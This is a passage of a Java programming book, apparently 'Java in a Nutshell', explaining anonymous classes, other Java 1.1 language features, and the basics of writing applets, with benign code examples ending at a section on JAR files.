        System.out.println(f);  // f is a final local variable.
        System.out.println(e);  // e is a final local argument.
        System.out.println(d);  // (C.this.d) d -- field of containing class.
        System.out.println(c);  // (C.this.c) c -- field of containing class.
        System.out.println(b);  // b is inherited by this class.
        System.out.println(a);  // a is inherited by the containing class.
      }
    }
    Local l = this.new Local(); // Create an instance of the local class
    l.printVars();              // and call its printVars() method.
  }

  public static void main(String[] args)
  {
    // Create an instance of the containing class, and invoke the
    // method that defines and creates the local class.
    C c = new C();
    c.createLocalObject('e');   // pass a value for final parameter e.
  }
}

Previous | Home | Next
Member Classes | Book Index | Anonymous Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.5 Anonymous Classes

Java in a Nutshell

Previous Chapter 5
Inner Classes and Other New Language Features 		Next

5.5 Anonymous Classes

An anonymous class is essentially a local class without a name. Instead of defining a local class and then instantiating it, you can often use an anonymous class to combine these two steps. Anonymous classes are very commonly used as adapter classes, like the one we saw in Example 5.6. As we'll see, anonymous classes (and their corresponding anonymous objects) are created through another extension to the syntax of the new operator. Thus, an anonymous class is defined by a Java expression, not a Java statement. This means that an anonymous class definition can be included within a larger Java expression such as an assignment or method call.

Example 5.8 shows the use of an anonymous class to implement the java.io.FilenameFilter interface. The implementation in this example is used to list only the files whose names end with .java from a specified directory.

Example 5.8: Implementing an Interface with an Anonymous Class

import java.io.*;
// A simple program to list all Java source code files in a directory
// specified as a command-line argument.
public class Lister
{
  public static void main(String[] args)
  {
    File f = new File(args[0]);  // f represents the specified directory.
    // List the files in the directory, using the specified filter object.
    // The anonymous class is defined as part of a method call expression.
    String[] list = f.list(new FilenameFilter() {
      public boolean accept(File f, String s) {
        return s.endsWith(".java");
      }
    });
    for(int i = 0; i < list.length; i++)  // output the list
      System.out.println(list[i]);
  }
}

As you can see in Example 5.8, the syntax for defining an anonymous class and creating an instance of that class is a regular new expression, followed by a class body definition in curly braces. If the name following the new keyword is the name of a class, the anonymous class is a subclass of the named class. If the name following new specifies an interface, as in our example, the anonymous class is an implementation of the interface. In this case, the anonymous class is always a subclass of Object--there is no way to specify an extends clause (or an implements clause). In addition, since this syntax creates an anonymous class, there is obviously no way to specify a name for the newly defined class.

Because an anonymous class has no name, it is not possible to define constructors for it within the class body. This is one of the basic restrictions on anonymous classes. Any arguments you specify between the parentheses following the superclass name in an anonymous class definition are implicitly passed to the superclass constructor. Anonymous classes are commonly used to subclass simple classes that do not take any constructor arguments, so the parentheses in the anonymous class definition syntax are often empty, as we saw in Example 5.8. When you use an anonymous class to implement an interface, the constructor argument list is always empty, of course, since the superclass constructor, Object(), expects no arguments.

One of the most elegant things about anonymous classes is that they allow you to define a one-shot class exactly where it is needed. Other important features are the succinctness of the syntax and the fact that no clutter is created by an unnecessary name.

Since anonymous classes have no names, you may wonder what the class files that represent them are named. If you compile the example shown in Example 5.8 you'll find that it produces two class files, Lister.class and Lister$1.class. Anonymous classes are given numbers to produce unique class file names based on the name of the containing class.

Anonymous Class Indentation and Formatting

The common indentation and formatting conventions we are familiar with for languages like Java and C begin to break down somewhat once we start placing class definitions within arbitrary expressions. Based on their experience with inner classes, the engineers at JavaSoft recommend the following formatting rules, which are followed in Example 5.8:

  • The opening curly brace should not be on a line by itself; instead, it should follow the close parenthesis of the new operator. Similarly, the new operator should, when possible, appear on the same line as the assignment or other expression of which it is a part.

  • The body of the anonymous class should be indented relative to the beginning of the line that contains the new keyword.

  • The closing curly brace of an anonymous class should not be on a line by itself either; it should be followed by whatever tokens are required by the rest of the expression. Often this is a semicolon or a close parenthesis followed by a semicolon. This extra punctuation serves as a flag to the reader that this is not just an ordinary block of code, and makes it easier to make sense of anonymous classes in a code listing.

Anonymous Classes versus Local Classes

As we've discussed, an anonymous class behaves just like a local class, and is distinguished from a local class merely in the syntax used to define and instantiate it. In your own code, when you have to choose between using an anonymous class or using a local class, the decision often comes down to stylistic matters. You should use whichever syntax makes your code clearer. In general, you should consider using an anonymous class instead of a local class if:

  • The class has a very short body.

  • Only one instance of the class is needed.

  • The class is used right after it is defined.

  • The name of the class does not make your code any easier to understand.

When considering the use of an anonymous class, there are two important restrictions to bear in mind:

  • An anonymous class has no name, and the syntax for defining one combines definition with instantiation. Thus, using an anonymous class instead of a local class is not appropriate if you need to create more than a single instance of the class each time the containing block is executed.

  • It is not possible to define constructors for anonymous classes. If your class requires a constructor, you must use a local class instead. However, as we'll see, the Java syntax has been extended to allow "instance initializers" to be defined for a class; an instance initializer can often substitute for a constructor.

Consider Example 5.9, which shows the Enumeration class we've used throughout this chapter implemented as an anonymous class within the enumerate() method of the LinkedList class. Compare it with Example 5.5, which shows the same class implemented as a local class. In this case, because of the size of the class in question, using local class syntax probably results in code that is a little clearer. Still, if you are a fan of anonymous classes, you might choose to code the example in this way.

Example 5.9: An Enumeration Implemented with an Anonymous Class

import java.util.*;
public class LinkedList
{
  // Our nested top-level interface.  Body omitted here...
  public interface Linkable { ... }
  // The head of the list.
  /* private */ Linkable head;
  // Method bodies omitted here.
  public void addToHead(Linkable node) { ... }
  public Linkable removeHead() { ...  }
  // This method creates and returns an Enumeration object for this
  // LinkedList.
  public Enumeration enumerate()
  {
    // Instantiate and return this implementation.
    return new Enumeration() {
      Linkable current = head; // This used to be in the constructor, but
                               // anonymous classes don't have constructors.
      public boolean hasMoreElements() {  return (current != null); }
      public Object nextElement() {
        if (current == null) throw new NoSuchElementException("LinkedList");
        Object value = current;
        current = current.getNext();
        return value;
      }
    };  // Note the required semicolon.  It terminates the return statement.
  }
}

As another example, consider Example 5.10, which shows the createMenuItem() method of Example 5.6 rewritten to use an anonymous class instead of a local class. In this case, using an anonymous class is probably the right thing to do.

Example 5.10: Using an Anonymous Class as an Adapter

MenuItem createMenuItem(String label, char shortcut, final int command)
{
  // First we create a MenuItem object.
  MenuItem item = new MenuItem(label, new MenuShortcut(shortcut));
  // Then we register an anonymous ActionListener for our new MenuItem.
  item.addActionListener(new ActionListener() {
    public void actionPerformed(ActionEvent e) { app.doCommand(command); }
  });
  // And return the item, ready to be inserted into a menu.
  return item;
}

New Java Syntax for Anonymous Classes

We've already seen examples of the syntax for defining and instantiating an anonymous class. More formally, we can write it as the following:

new class-name ( [ argument-list ] ) { class-body }

or

new interface-name () { class-body }

There is one additional new piece of syntax to support anonymous classes. As noted, anonymous classes cannot define constructors, since they do not have names. Therefore Java 1.1 adds a feature known as an instance initializer, which is similar to the static initializer of Java 1.0. Example 5.11 illustrates this new syntax.

Example 5.11: Java 1.1 Instance Initializers

public class InitializerDemo
{
  // This is an instance variable.
  public int[] array1;
  // This is an instance initializer.  It is an arbitrary block of code.
  // It runs for every new instance, after the superclass constructor
  // and before the class constructor, if any.  It can serve the same
  // function as a constructor with no arguments.
  {
    array1 = new int[10];
    for(int i = 0; i < 10; i++) array1[i] = i;
  }
  // The line below contains another instance initializer.  The instance
  // initializers for an object are run in the order in which they appear
  // in the class definition.
  int[] array2 = new int[10]; { for(int i=0; i<10; i++) array2[i] = i*2; }
  static int[] static_array = new int[10];
  // By contrast, the block below is a static initializer.  Note the static
  // keyword.  It runs only once, when the class is first loaded.
  static {
    for(int i = 0; i < 10; i++) static_array[i] = i;
  }
}

An instance initializer is simply a block of code inside curly braces that is embedded in a class definition, where a field or method definition normally appears. [11] A class (any class--not just anonymous classes) can have any number of instance initializers. The instance initializers and any variable initializers that appear in field definitions for the class are executed in the order they appear in the Java source code. These initializers are automatically run after the superclass constructor has returned but before the constructor, if any, of the current class runs.

[11] Notice that Java 1.1 now allows blocks of code to be inserted in class definitions, and local class definitions to be inserted in blocks of code.

Because an instance initializer can serve the same function as a no-argument constructor method, these initializers are particularly useful for anonymous classes. They can also be useful in non-anonymous classes. Instance initializers allow you to initialize an object's fields near the definition of those fields, rather than deferring that initialization to a constructor defined further away in the class. Used in this way, they can sometimes improve code readability.

Restrictions on Anonymous Classes

Because anonymous classes are just a type of local class, they share the same restrictions: an anonymous class cannot define any static fields, methods, or classes. Since nested interfaces are implicitly static, they cannot be defined within anonymous classes. Similarly, interfaces cannot be defined anonymously.

Anonymous classes, like local classes, cannot be public, private, protected, or static. In fact, the syntax for defining anonymous classes does not allow any modifiers to be specified.

Previous | Home | Next
Local Classes | Book Index | Other New Features of Java 1.1
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.6 Other New Features of Java 1.1

Java in a Nutshell

Previous Chapter 5
Inner Classes and Other New Language Features 		Next

5.6 Other New Features of Java 1.1

While the addition of inner classes is by far the most important and far-reaching change to the Java language in Java 1.1, there have been several other changes to the language as well. They are:

  • final local variables, method parameters and catch statement parameters

  • Instance initializers

  • "Blank finals"--final variable and field declarations without initializer expressions

  • Anonymous arrays

  • Class literals

As you can see, the first two items in this list are language changes that are related to, though not exclusively used by, the inner class changes. We covered final local variables and parameters in our discussion of local classes above. And we covered instance initializers in the discussion of anonymous classes. The following subsections discuss the remaining three changes.

Blank Finals

We've already seen that local variables, method parameters, and exception parameters of catch statements may be declared final. A related change is that final fields do not require initializers. In Java 1.0, any final field had to be initialized as part of the field declaration. In Java 1.1, this restriction has been relaxed. A field or local variable can be declared final without specifying an intial value as part of the declaration. These "blank finals," as they are called, must have a value assigned to them before they are ever used, of course. And, once a value has been assigned to a blank final, that value can never be changed. This allows you, for example, to use an instance initializer or a constructor to compute a value for a final field.

Blank finals are particularly useful in defining immutable data types. They allow a class to have immutable fields that are initialized based on run-time arguments to a constructor. Once assigned, these fields cannot be accidentally or maliciously changed.

Anonymous Arrays

In Java 1.0, you can create and initialize an array with code like the following:

int[] a = {1, 2, 3, 4, 5};

Unfortunately, this syntax is only allowed in initializer expressions that follow the declaration of a field or variable of array type. That is, you cannot write code like this:

int[] a;
a = {1, 2, 3, 4, 5};           // Error
int total = sum({1,2,3,4,5});  // Error

You cannot write code like that in Java 1.1 either, but you can write code using a similar array initializer syntax. When you use the new operator to create an array, you may omit the dimension that specifies the number of array elements to create and instead follow the empty square bracket pair ([]) with a list of initial values in curly braces. Such an expression creates an array large enough to hold all of the elements specified between the braces, and initializes the array to contain those elements. The elements in braces must all be of the type specified after the new keyword, of course.

Code that uses anonymous arrays looks like this:

int[] a;
a = new int[] {1, 2, 3, 4, 5};
int total = sum(new int[] {1, 2, 3, 4, 5});
System.out.println(new char[] {'h', 'e', 'l', 'l', 'o'});

As you can see, this new syntax allows you to create and initialize arrays without using a variable initializer, or without even assigning the array to a variable at all. That is why arrays created and initialized this way are called anonymous arrays.

Class Literals

Another major change in Java 1.1 is the introduction of the Reflection API in the java.lang.reflect package. As part of this new package, the java.lang.Class class has been broadened to represent not just Java classes, but all Java data types. In other words, there are now special Class objects that represent each of the Java primitive types.

You can access these special Class objects through the TYPE field of each of the primitive wrapper classes. For example, the static variable Boolean.TYPE holds the Class object that represents the boolean data type. And the Float.TYPE static variable holds the Class object that represents the float data type. A new class Void has been added, and Void.TYPE represents the type void.

The changes described in the paragraph above are all changes to the Java class libraries, rather than changes to the Java language itself. The language change is a related one, however. In Java 1.1, you can obtain the Class object for any class or primitive type by following the class name or type name by a period and the class keyword. For example, String.class evaluates to the Class object that represents the java.lang.String class. Similarly, int.class evaluates to the special class object Integer.TYPE that represents the int data type.

In Java 1.0, it is much more cumbersome (and less efficient) to obtain a Class object--you have to use the static Class.forName() method, so you end up with expressions like:

Class c = Class.forName("java.util.Vector");

Where in Java 1.1 you can simply write:

Class c = java.util.Vector.class;

Remember that class is a keyword in Java, so this syntax does not simply constitute a reference to a static variable pre-defined in each class.

This new syntax is meant to simplify use of the new reflection facilities in Java 1.1. It is also necessary because using Class.forName() with inner classes requires knowledge of the way the compiler transforms the names of inner classes (i.e., where it replaces "." with "$"). While compiler writers need to know about these transformation rules, Java programmers should not. Thus the new .class syntax provides a way to obtain a Class object that works with inner classes, as well as with top-level classes and interfaces.

Previous | Home | Next
Anonymous Classes | Book Index | Applets
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] Applets

Java in a Nutshell

Previous Chapter 6 Next

6. Applets

Contents:
Introduction to Applets
A First Applet
Drawing Graphics
Handling Events
Reading Applet Parameters
Images and Sounds
JAR Files
Applet Security Restrictions
Signed Applets

This chapter demonstrates the techniques of applet writing. It proceeds from a trivial "Hello World" applet to more sophisticated applets. Along the way, it explains how to:

  • Draw graphics in your applet.

  • Handle and respond to simple user input.

  • Read and use values of applet parameters, allowing customization of an applet.

  • Load and display images and load and play sounds.

  • Package an applet and related files into a JAR file.

  • Attach a digital signature to an applet.

Study the examples carefully. They are the important part of this chapter! You may find it useful to refer to the quick reference in Chapter 17, The java.applet Package while reading these examples.

Note that this chapter merely introduces the framework for writing applets. Applets, like other Java programs, use features from throughout the Java API. See Chapter 7, Events, in particular, for details on event processing in Java applets and applications.

6.1 Introduction to Applets

An applet, as the name implies, is a kind of mini-application, designed to be run by a Web browser, or in the context of some other "applet viewer." Applets differ from regular applications in a number of ways. One of the most important is that there are a number of security restrictions on what applets are allowed to do. An applet often consists of untrusted code, so it cannot be allowed access to the local file system, for example. The details of applet security and the restrictions placed on applets are discussed at the end of this chapter.

From a programmer's standpoint, one of the biggest differences between applets and applications is that applets do not have a main() method, or other single entry point from which the program starts running. Instead, to write an applet, you subclass the Applet class and override a number of standard methods. At appropriate times, under well-defined circumstances, the Web browser or applet viewer invokes the methods you have defined. The applet is not in control of the thread of execution; it simply responds when the browser or viewer tells it to. For this reason, the methods you write must take the necessary action and return promptly--they are not allowed to enter time-consuming (or infinite) loops. In order to perform a time-consuming or repetitive task, such as animation, an applet must create its own thread, over which it does have complete control.

The task of writing an applet, then, comes down to defining the appropriate methods. A number of these methods are defined by the Applet class:

init()

Called when the applet is first loaded into the browser or viewer. It is typically used to perform applet initialization, in preference to a constructor method. (The Web browser doesn't pass any arguments to an applet's constructor method, so defining one isn't too useful.)

destroy()

Called when the applet is about to be unloaded from the browser or viewer. It should free any resources, other than memory, that the applet has allocated.

start()

Called when the applet becomes visible and should start doing whatever it is that it does. Often used with animation and with threads.

stop()

Called when the applet becomes temporarily invisible, for example, when the user has scrolled it off the screen. Tells the applet to stop performing an animation or other task.

getAppletInfo()

Called to get information about the applet. Should return a string suitable for display in a dialog box.

getParameterInfo()

Called to obtain information about the parameters the applet responds to. Should return strings describing those parameters.

In addition to these Applet methods, there are a number of other methods, inherited from superclasses of Applet, that the browser invokes at appropriate times, and that an applet should override. The most obvious of these methods is paint(), which the browser or viewer invokes to ask the applet to draw itself on the screen. In Java 1.1, a related method is print(), which an applet should override if it wants to display itself on paper differently than it does on the screen. There are quite a few other methods that applets should override to respond to events. For example, if an applet wants to respond to mouse clicks, it should override mouseDown(). (As we'll see in Chapter 7, Events, however, there are other, preferred, ways to receive mouse events in Java 1.1.)

The Applet class also defines some methods that are commonly used by applets:

getImage()

Loads an image file from the network and returns an Image object.

getAudioClip()

Loads a sound clip from the network and returns an AudioClip object.

getParameter()

Looks up and returns the value of a named parameter, specified in the HTML file that refers to the applet with the <PARAM> tag.

getCodeBase()

Returns the base URL from which the applet class file was loaded.

getDocumentBase()

Returns the base URL of the HTML file that refers to the applet.

showStatus()

Displays a message in the status line of the browser or applet viewer.

getAppletContext()

Returns the AppletContext object for the applet. AppletContext defines the useful showDocument() method that asks the browser to load and display a new Web page.

Previous | Home | Next
Other New Features of Java 1.1 | Book Index | A First Applet
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.2 A First Applet

Java in a Nutshell

Previous Chapter 6
Applets 		Next

6.2 A First Applet

Figure 6.1 shows what is probably the simplest possible applet you can write in Java. Example 6.1 lists its code. This example introduces the paint() method, which is invoked by the applet viewer (or Web browser) when the applet needs to be drawn. This method should perform graphical output--such as drawing text or lines or displaying images--for your applet. The argument to paint() is a Graphics object that you use to do the drawing.

Figure 6.1: A simple applet

[Graphic: Figure 6-1]

Example 6.1: The Simplest Applet

import java.applet.*;   // Don't forget this import statement!
import java.awt.*;          // Or this one for the graphics!
public class FirstApplet extends Applet {
  // This method displays the applet.
  // The Graphics class is how you do all drawing in Java.
  public void paint(Graphics g) {
    g.drawString("Hello World", 25, 50);
  }
}

To display an applet, you need an HTML file that references it. Here is an HTML fragment that can be used with our first applet:

<APPLET code="FirstApplet.class" width=150 height=100>
</APPLET>

With an HTML file that references the applet, you can now view the applet with an applet viewer or Web browser. Note that the width and height attributes of this HTML tag are required. See Chapter 15, Java-Related HTML Tags for more details on the HTML <APPLET> tag. For most applet examples in this book, we show only the Java code and not the corresponding HTML file that goes with it. Typically, that HTML file contains a tag as simple as the one shown here.

Previous | Home | Next
Introduction to Applets | Book Index | Drawing Graphics
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.3 Drawing Graphics

Java in a Nutshell

Previous Chapter 6
Applets 		Next

6.3 Drawing Graphics

Example 6.2 shows a fancier version of our simple applet. As you can see from Figure 6.2 , we've made the graphical display more interesting. This applet also does all of its drawing in the paint() method. It demonstrates the use of Font and Color objects.

This example also introduces the init() method, which is used, typically in place of a constructor, to perform any one-time initialization that is necessary when the applet is first created. The paint() method may be invoked many times in the life of an applet, so this example uses init() to create the Font object that paint() uses.

Figure 6.2: A fancier applet

[Graphic: Figure 6-2]

Example 6.2: An Applet with Fancier Graphics

import java.applet.*;
import java.awt.*;
public class SecondApplet extends Applet {
  static final String message = "Hello World";
  private Font font;
  // One-time initialization for the applet
  // Note: no constructor defined.
  public void init() {
    font = new Font("Helvetica", Font.BOLD, 48);
  }
  // Draw the applet whenever necessary.  Do some fancy graphics.
  public void paint(Graphics g) {
    // The pink oval
    g.setColor(Color.pink);
    g.fillOval(10, 10, 330, 100);
    // The red outline. Java doesn't support wide lines, so we
    // try to simulate a 4-pixel wide line by drawing four ovals.
    g.setColor(Color.red);
    g.drawOval(10, 10, 330, 100);
    g.drawOval(9, 9, 332, 102);
    g.drawOval(8, 8, 334, 104);
    g.drawOval(7, 7, 336, 106);
    // The text
    g.setColor(Color.black);
    g.setFont(font);
    g.drawString(message, 40, 75);
  }
}

Previous | Home | Next
A First Applet | Book Index | Handling Events
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.4 Handling Events

Java in a Nutshell

Previous Chapter 6
Applets 		Next

6.4 Handling Events

The previous two applets have only displayed output. If an applet is to be interactive in any way, it has to receive and respond to user input. Example 6.3 shows a simple applet that lets the user do a freehand sketch (or scribble) with the mouse. Figure 6.3 shows such a scribble.

Figure 6.3: Scribbling with the scribble applet

[Graphic: Figure 6-3]

The mouseDown() and mouseDrag() methods are called by the system when the user presses a mouse button and moves the mouse with the button down, respectively. This very simple applet draws lines directly in response to these events. It does not have a paint() method, which means that the user's scribble is lost any time that the applet is redrawn (for example, when a Web browser scrolls down a page and then scrolls back up again).

Note that both mouseDown() and mouseDrag() return true. This is to tell the system that they've handled the Event object that was passed to them, and that the event should not be processed any further.

The mouseDown() and mouseDrag() methods shown here work in both Java 1.0 and Java 1.1, but they (and related methods) have been deprecated in Java 1.1 and replaced with a new, more flexible, event handling model. Event processing is often the central task of applets and of GUI-based applications, and is a big topic in its own right. Chapter 7, Events explains and demonstrates the Java 1.1 and 1.0 event processing models in more detail.

Example 6.3: The Scribble Applet

import java.applet.*;
import java.awt.*;
public class Scribble extends Applet {
  private int last_x = 0, last_y = 0;  // Fields to store a point in.
  // Called when the user clicks.
  public boolean mouseDown(Event e, int x, int y) {
    last_x = x; last_y = y;            // Remember the location of the click.
    return true;
  }
  // Called when the mouse moves with the button down.
  public boolean mouseDrag(Event e, int x, int y)  {
    Graphics g = getGraphics();        // Get a Graphics to draw with.
    g.drawLine(last_x, last_y, x, y);  // Draw a line from last point to this.
    last_x = x; last_y = y;            // And update the saved location.
    return true;
  }
}

Previous | Home | Next
Drawing Graphics | Book Index | Reading Applet Parameters
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.5 Reading Applet Parameters

Java in a Nutshell

Previous Chapter 6
Applets 		Next

6.5 Reading Applet Parameters

Example 6.4 shows an extension to our Scribble applet. The ColorScribble class is a subclass of Scribble that adds the ability to scribble in a configurable foreground color over a configurable background color. (The ColorScribble applet looks a lot like the Scribble applet of Figure 6.3 and is not pictured here.)

ColorScribble has an init() method that reads the value of two "applet parameters" that can be optionally specified with the <PARAM> tag in the applet's HTML file. The returned string values are converted to colors and specified as the default foreground and background colors for the applet. Note that the init() method invokes its superclass's init() method, just in case a future version of Scribble defines that method to perform initialization.

This example also introduces the getAppletInfo() and getParameterInfo() methods. These methods provide textual information about the applet (its author, its version, its copyright, etc.) and the parameters that it can accept (the parameter names, their types, and their meanings). An applet should generally define these methods, although the current generation of Web browsers do not actually ever make use of them. (The appletviewer application in the JDK does call these methods, however.)

Example 6.4: Reading Applet Parameters

import java.applet.*;
import java.awt.*;
public class ColorScribble extends Scribble {
  // Read in two color parameters and set the colors.
  public void init() {
    super.init();
    Color foreground = getColorParameter("foreground");
    Color background = getColorParameter("background");
    if (foreground != null) this.setForeground(foreground);
    if (background != null) this.setBackground(background);
  }
  // Read the specified parameter.  Interpret it as a hexadecimal
  // number of the form RRGGBB and convert it to a color.
  protected Color getColorParameter(String name) {
    String value = this.getParameter(name);
    try { return new Color(Integer.parseInt(value, 16)); }
    catch (Exception e) { return null; }
  }
  // Return information suitable for display in an About dialog box.
  public String getAppletInfo() {
    return "ColorScribble v. 0.02.  Written by David Flanagan.";
  }
  // Return info about the supported parameters.  Web browsers and applet
  // viewers should display this information, and may also allow users to
  // set the parameter values.
  public String[][] getParameterInfo() { return info; }
  // Here's the information that getParameterInfo() returns.
  // It is an array of arrays of strings describing each parameter.
  // Format: parameter name, parameter type, parameter description
  private String[][] info = {
    {"foreground", "hexadecimal color value", "foreground color"},
    {"background", "hexadecimal color value", "background color"}
  };
}

The following HTML fragment references the applet, and demonstrates how parameter values can be set with the <PARAM> tag:

<APPLET code="ColorScribble.class" width=300 height=300>
<PARAM name="foreground" value="0000FF">
<PARAM name="background" value="FFCCCC">
</APPLET>

Previous | Home | Next
Handling Events | Book Index | Images and Sounds
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.6 Images and Sounds

Java in a Nutshell

Previous Chapter 6
Applets 		Next

6.6 Images and Sounds

Example 6.5 shows a Java applet that implements a simple client-side imagemap, which has the capability to highlight the "hot spots" in the image and play a sound clip when the user clicks on the image. Figure 6.4 shows what this applet might look like, when configured with an appropriate image.

Figure 6.4: An imagemap applet

[Graphic: Figure 6-4]

This applet demonstrates quite a few important applet techniques:

  • getParameter() looks up the name of the image to display and the audio clip to play when the user clicks, and it also reads a list of rectangles and URLs that define the hot spots and hyperlinks of the imagemap.

  • The getImage() and getDocumentBase() methods load the image in the init() method, and Graphics.drawImage() displays the image in the paint() method.

  • getAudioClip() loads a sound file in the init() method, and AudioClip.play() plays the sound in the mousePressed() method.

  • Events are handled by an "event listener" object, which is defined by an inner class (see Chapter 5, Inner Classes and Other New Language Features). This is an example of the Java 1.1 event handling model (see Chapter 7, Events). Therefore, this applet only runs in Web browsers that support Java 1.1.

  • The showStatus() method displays the destination URL when the user presses the mouse button over a hot spot, while the AppletContext.showDocument() method makes the browser display that URL when the user releases the mouse button.

  • The applet uses "XOR mode" of the Graphics class to highlight an area of the image in a way that can be easily "un-highlighted" by redrawing.

  • The individual hot spots are represented by instances of a nested top-level class. The java.util.Vector class stores the list of hot spot objects, and java.util.StringTokenizer parses the descriptions of those hot spots.

The following HTML fragment shows an example of the properties read by this applet:

<APPLET code="Soundmap.class" width=288 height=288>
<PARAM name="image" value="image.gif">
<PARAM name="sound" value="sound.au">
<PARAM name="rect0" value="114,95,151,33,#part1">
<PARAM name="rect1" value="114,128,151,33,#part2">
<PARAM name="rect2" value="114,161,151,33,#part3">
<PARAM name="rect3" value="114,194,151,33,#part4">
<PARAM name="rect4" value="114,227,151,33,#part5">
</APPLET>

Example 6.5: An Imagemap Applet

import java.applet.*;
import java.awt.*;
import java.awt.event.*;
import java.net.*;
import java.util.*;
/**
 * A Java applet that simulates a client-side imagemap.
 * Plays a sound whenever the user clicks on one of the hyperlinks.
 */
public class Soundmap extends Applet {
  protected Image image;      // The image to display.
  protected Vector rects;     // A list of rectangles in it.
  protected AudioClip sound;  // A sound to play on user clicks in a rectangle.
  /** Initialize the applet. */
  public void init() {
    // Look up the name of the image, relative to a base URL, and load it.
    // Note the use of three Applet methods in this one line.
    image = this.getImage(this.getDocumentBase(), this.getParameter("image"));
    // Lookup and parse a list of rectangular areas and the URLs they map to.
    // The convenience routine getRectangleParameter() is defined below.
    rects = new Vector();
    ImagemapRectangle r;
    for(int i = 0; (r = getRectangleParameter("rect" + i)) != null; i++)
      rects.addElement(r);
    // Look up a sound to play when the user clicks one of those areas.
    sound = this.getAudioClip(this.getDocumentBase(),
                  this.getParameter("sound"));
    // Specify an "event listener" object to respond to mouse button
    // presses and releases.  Note that this is the Java 1.1 event model.
    // Note that it also uses a Java 1.1 inner class, defined below.
    this.addMouseListener(new Listener());
  }
  /** Called when the applet is being unloaded from the system.
   * We use it here to "flush" the image we no longer need. This may
   * result in memory and other resources being freed more quickly. */
  public void destroy() { image.flush(); }
  /** To display the applet, we simply draw the image. */
  public void paint(Graphics g) { g.drawImage(image, 0, 0, this); }
  /** We override this method so that it doesn't clear the background
   * before calling paint().  No clear is necessary, since paint() overwrites
   * everything with an image.  Causes less flickering this way. */
  public void update(Graphics g) { paint(g); }
  /** Parse a comma-separated list of rectangle coordinates and a URL.
   * Used to read the imagemap rectangle definitions from applet parameters. */
  protected ImagemapRectangle getRectangleParameter(String name) {
    int x, y, w, h;
    URL url;
    String value = this.getParameter(name);
    if (value == null) return null;
    try {
      StringTokenizer st = new StringTokenizer(value, ",");
      x = Integer.parseInt(st.nextToken());
      y = Integer.parseInt(st.nextToken());
      w = Integer.parseInt(st.nextToken());
      h = Integer.parseInt(st.nextToken());
      url = new URL(this.getDocumentBase(), st.nextToken());
    }
    catch (NoSuchElementException e) { return null; }
    catch (NumberFormatException e) { return null; }
    catch (MalformedURLException e) { return null; }
    return new ImagemapRectangle(x, y, w, h, url);
  }
  /**
   * An instance of this inner class is used to respond to mouse events.
   */
  class Listener extends MouseAdapter {
    /** The rectangle that the mouse was pressed in. */
    private ImagemapRectangle lastrect;
    /** Called when a mouse button is pressed. */
    public void mousePressed(MouseEvent e) {
      // On button down, check if we're inside one of the specified rectangles.
      // If so, highlight the rectangle, display a message, and play a sound.
      // The utility routine findrect() is defined below.
      ImagemapRectangle r = findrect(e);
      if (r == null) return;
      Graphics g = Applet.this.getGraphics();
      g.setXORMode(Color.red);
      g.drawRect(r.x, r.y, r.width, r.height);  // highlight rectangle
      Applet.this.showStatus("To: " + r.url);   // display URL
      sound.play();                             // play the sound
      lastrect = r;   // Remember the rectangle so it can be un-highlighted.
    }
    /** Called when a mouse button is released. */
    public void mouseReleased(MouseEvent e) {
      // When the button is released, un-highlight the rectangle.  If the
      // mouse is still inside it, ask the browser to go to the URL.
      if (lastrect != null) {
    Graphics g = Applet.this.getGraphics();
    g.setXORMode(Color.red);
    g.drawRect(lastrect.x, lastrect.y, lastrect.width, lastrect.height);
    Applet.this.showStatus("");   // Clear the message.
    ImagemapRectangle r = findrect(e);
    if ((r != null) && (r == lastrect))  // If still in the same rectangle
      Applet.this.getAppletContext().showDocument(r.url); // Go to the URL
    lastrect = null;
      }
    }
    /** Find the rectangle we're inside. */
    protected ImagemapRectangle findrect(MouseEvent e) {
      int i, x = e.getX(), y = e.getY();
      for(i = 0; i < rects.size(); i++)  {
    ImagemapRectangle r = (ImagemapRectangle) rects.elementAt(i);
    if (r.contains(x, y)) return r;
      }
      return null;
    }
  }
  /**
   * A helper class.  Just like java.awt.Rectangle, but with a URL field.
   * Note the use of a nested top-level class for neatness.
   */
  static class ImagemapRectangle extends Rectangle {
    URL url;
    public ImagemapRectangle(int x, int y, int w, int h, URL url) {
      super(x, y, w, h);
      this.url = url;
    }
  }
}

Previous | Home | Next
Reading Applet Parameters | Book Index | JAR Files
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.7 JAR Files

Java in a Nutshell

Previous Chapter 6
Applets 		Next

6.7 JAR Files

The Soundmap applet defined in the previous section requires five files to operate: the class file for the applet itself, the class files for the two nested classes it contains, the image file, and the sound clip file. It can be loaded using an <APPLET> tag like this:

<APPLET code="Soundmap.class" width=288 height=288>
   ...
</APPLET>

When the applet is loaded in this manner, however, each of the five files is transferred in uncompressed form using a separate HTML request. As you might imagine, this is quite inefficient.

In Java 1.1, you can instead combine the five files into a single JAR (Java ARchive) file. This single, compressed file (it is a ZIP file) can be transferred from Web server to browser much more efficiently. To create a JAR file, use the jar tool, which has a syntax reminiscent of the UNIX tar command:

% jar cf soundmap.jar *.class image.gif sound.au

This command creates a new file, soundmap.jar, that contains all the .class files in the current directory, and also contains the files image.gif and sound.au. jar can also be used to list and extract the contents of a JAR file. See Chapter 16, JDK Tools for complete documentation.

To use a JAR file, you specify it as the value of the archive attribute of the <APPLET> tag:

<APPLET archive="soundmap.jar" code="Soundmap.class" width=288 height=288>
   ...
</APPLET>

Note that the archive attribute does not replace the code attribute. archive specifies where to look for files, but code is still required to tell the browser which of the files in the archive is the applet class file to be executed. The archive attribute may actually specify a comma-separated list of JAR files. The Web browser or applet viewer searches these archives for any files the applet requires. If a file is not found in an archive, however, the browser falls back upon its old behavior and attempts to load the file from the Web server using a new HTTP request.

Previous | Home | Next
Images and Sounds | Book Index | Applet Security Restrictions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


